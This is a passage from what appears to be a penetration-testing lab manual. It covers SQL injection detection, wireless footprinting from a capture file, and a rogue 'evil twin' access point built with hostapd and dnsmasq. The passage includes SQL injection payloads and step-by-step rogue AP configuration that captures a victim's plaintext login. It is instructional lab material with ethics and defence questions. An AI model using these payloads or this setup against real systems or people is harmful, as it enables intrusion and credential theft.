# Time-based blind concept: 1 AND IF(1=1, SLEEP(5), 0) -> response took ~5s longer =>
vulnerable
# ZAP Active Scan Alert: SQL Injection (High) | Parameter: id | Attack: 1' OR '1'='1 |
Evidence: mysql error string
```

Aspect	sqlmap	ZAP
Finding	id injectable (4 techniques)	id injectable (error/boolean)
DBMS identified	MySQL >= 5.0	not identified
Extra info	exact technique + payloads	payload + evidence, integrated report

Viva Questions

1. **What is the difference between detection and exploitation in a SQLi assessment?** Detection only confirms that a parameter is injectable and which technique works. Exploitation actually uses the injection to extract or modify data.
2. **How does time-based blind SQL injection work if there's no visible output difference?** The payload makes the database pause (e.g., `SLEEP(5)` / `WAITFOR DELAY '0:0:5'`) only when the condition is true; measuring response delay reveals true/false answers.
3. **What does --level and --risk control in sqlmap?** `--level` controls how many tests/parameters are tried (including cookies/headers). `--risk` controls how aggressive/risky the payloads are.
4. **Why might a WAF cause a false negative in these scans?** A WAF blocks or sanitises scanner payloads and returns generic responses, hiding the response differences the scanner looks for.
5. **Why is it good practice to confirm findings with more than one tool?** Different tools use different payload sets and detection logic; agreement reduces both false negatives and false positives.

Experiment 16: Footprint a Wireless Network

Aim & Theory

Aim: To perform wireless network footprinting — identifying nearby networks, their SSIDs, channels, encryption type, and connected clients — using Kali Linux tools, in a simulated/offline lab setting.

Theory: Wireless footprinting is the reconnaissance phase before any wireless attack. Since this lab uses a simulated environment (no physical Wi-Fi adapter in monitor mode), we analyze a pre-captured wireless traffic file (`.pcap`) using the same tools an attacker would use live. This teaches the exact same skill — reading beacon frames, identifying access points and clients — safely and legally.

Tools Required: Kali Linux, Wireshark, Aircrack-ng suite (`airodump-ng`), a sample `.pcap` wireless capture file (`sample_capture.pcap`).

Procedure

Step 1 — Open the capture file in Wireshark: `wireshark sample_capture.pcap`
Step 2 — Filter for beacon frames: Enter `wlan.fc.type_subtype == 0x08` in the Wireshark filter bar. Each result is one Access Point announcing itself (SSID, channel, rates).
Step 3 — Identify encryption type: Look inside "Tagged Parameters" of the beacon frame for RSN Information (WPA2), absence of it (Open), or WEP Parameters.
Step 4 — Identify connected clients: Filter for data frames talking to a specific AP: `wlan.addr == <BSSID-of-target-AP>`.
Step 5 — Analyze with airodump-ng (offline read mode): `airodump-ng --read sample_capture.pcap`.

Output

```
# Wireshark — beacon frame details (Filter: wlan.fc.type_subtype == 0x08):
Frame 214: 802.11 Beacon | SSID: LabNet-5G  | Channel 6  | RSN Information: CCMP/AES -> WPA2
(AES)
Frame 388: 802.11 Beacon | SSID: OpenCoffee | Channel 1  | No RSN/WEP info           -> OPEN
network
Frame 502: 802.11 Beacon | SSID: LegacyNet  | Channel 11 | WEP Parameters present    -> WEP
(broken)

# Clients of LabNet-5G (wlan.addr == aa:bb:cc:dd:ee:11):
Data frames seen from: 88:ae:1d:xx:xx:01 (laptop), 4c:bb:58:xx:xx:02 (phone) -> 2 associated
clients

$ airodump-ng --read sample_capture.pcap
BSSID              PWR  CH  ENC          ESSID       |  BSSID: aa:bb:cc:dd:ee:11  STATION
list:
aa:bb:cc:dd:ee:11  -42   6  WPA2 CCMP    LabNet-5G   |    88:ae:1d:xx:xx:01
aa:bb:cc:dd:ee:22  -61   1  OPN          OpenCoffee  |    4c:bb:58:xx:xx:02
aa:bb:cc:dd:ee:33  -70  11  WEP          LegacyNet   |
```

Viva Questions

1. **What is a beacon frame, and how often is it broadcast?** It is the periodic management frame an AP broadcasts to announce its SSID, rates and capabilities, typically sent about every 100 ms.
2. **What's the difference between an SSID and a BSSID?** SSID is the human-readable network name (can be shared/hidden); BSSID is the hardware MAC address of the specific AP radio — unique per AP.
3. **How can you tell if a network is using WPA2 vs an open network just from a beacon frame?** WPA2 networks carry an RSN Information element (CCMP/AES); open networks have neither RSN nor WEP elements; WEP shows WEP/IV parameters.
4. **Why would an attacker want to know which clients are connected to a target AP?** Client lists enable targeted deauthentication to capture handshakes for cracking, evil-twin setups matched to known networks, or device profiling.
5. **What legal/ethical restrictions apply to live wireless footprinting outside a lab?** Capturing or injecting traffic on networks without written authorisation is illegal under interception laws; testing must stay within permitted lab networks.

Experiment 17: Create a Rogue Access Point to Capture Data Packets

Aim & Theory

Aim: To understand how a Rogue (fake) Access Point / "Evil Twin" attack works, and to simulate creating one in a controlled virtual lab to capture unencrypted victim traffic.

Theory: A Rogue Access Point is a fake Wi-Fi hotspot set up by an attacker, often copying the name (SSID) of a legitimate network (e.g., "Free_Airport_WiFi"). Victims connect to it thinking it's genuine. Since the attacker controls the AP, all of the victim's unencrypted traffic (HTTP logins, DNS queries) passes through the attacker's machine and can be captured and analyzed.

Tools Required: Kali Linux, `hostapd` (creates the fake AP), `dnsmasq` (provides DHCP/DNS to victims), Wireshark (virtual bridge interface `at0` between attacker and victim VMs).

Procedure

Step 1 — Install tools: `sudo apt update && sudo apt install hostapd dnsmasq -y`
Step 2 — Configure hostapd (`/etc/hostapd/hostapd.conf`): `interface=at0`, `driver=nl80211`, `ssid=Free_Lab_WiFi`, `hw_mode=g`, `channel=6`, `auth_algs=1`, `wpa=0`.
Step 3 — Configure dnsmasq (`/etc/dnsmasq.conf`): `interface=at0`, `dhcp-range=192.168.50.10,192.168.50.100,12h`, `dhcp-option=3,192.168.50.1`, `dhcp-option=6,192.168.50.1`.
Step 4 — Enable IP forwarding & start services: `sudo sysctl -w net.ipv4.ip_forward=1`, `sudo systemctl start dnsmasq`, `sudo hostapd /etc/hostapd/hostapd.conf`.
Step 5 & 6 — Connect victim VM & capture traffic: Connect victim VM to `Free_Lab_WiFi`, run `sudo wireshark -i at0` on Kali, and filter by `http.request.method == "POST"` while the victim submits an HTTP login form.

Output

```
$ sudo hostapd /etc/hostapd/hostapd.conf
Interface mode: IEEE 802.11G  Channel: 6  SSID: Free_Lab_WiFi  -> AP enabled — beaconing
started

# dnsmasq lease log:
dnsmasq-dhcp: DHCPDISCOVER(at0) 4c:bb:58:xx:xx:02
dnsmasq-dhcp: DHCPOFFER(at0)  192.168.50.10
dnsmasq-dhcp: DHCPACK(at0)    4c:bb:58:xx:xx:02  192.168.50.10  Free_Lab_WiFi

# Wireshark capture (victim's login POST, plaintext):
No. 28  POST /login HTTP/1.1
        Host: testbank.example-lab.local
        Content-Type: application/x-www-form-urlencoded
        username=victimuser&password=victpass123
-> Full credentials visible in plaintext at the attacker machine.
```

Viva Questions

1. **Why do rogue APs typically use the same SSID as a trusted network?** Devices automatically prefer/reconnect to known network names; cloning a trusted SSID makes victims connect without suspicion (the essence of the Evil Twin).
2. **Why does this attack fail against HTTPS-only traffic?** HTTPS payloads are encrypted end-to-end; the attacker controlling the AP only forwards ciphertext and cannot read contents or credentials (only metadata/DNS is visible).
3. **What is the role of dnsmasq in this setup, separate from hostapd?** `hostapd` creates and manages the fake access point itself; `dnsmasq` serves the victims DHCP addresses and DNS resolution, controlling where their traffic goes.
4. **How can users protect themselves from connecting to a rogue AP?** Disable auto-connect to open networks, verify the exact network name/security with the venue, avoid sensitive logins on open Wi-Fi, use a VPN, and prefer WPA2/WPA3 networks.
5. **What is the difference between a rogue AP and an "Evil Twin" attack?** A rogue AP is any unauthorised access point connected to the network. An Evil Twin specifically impersonates a legitimate SSID to masquerade as the trusted network and lure its users.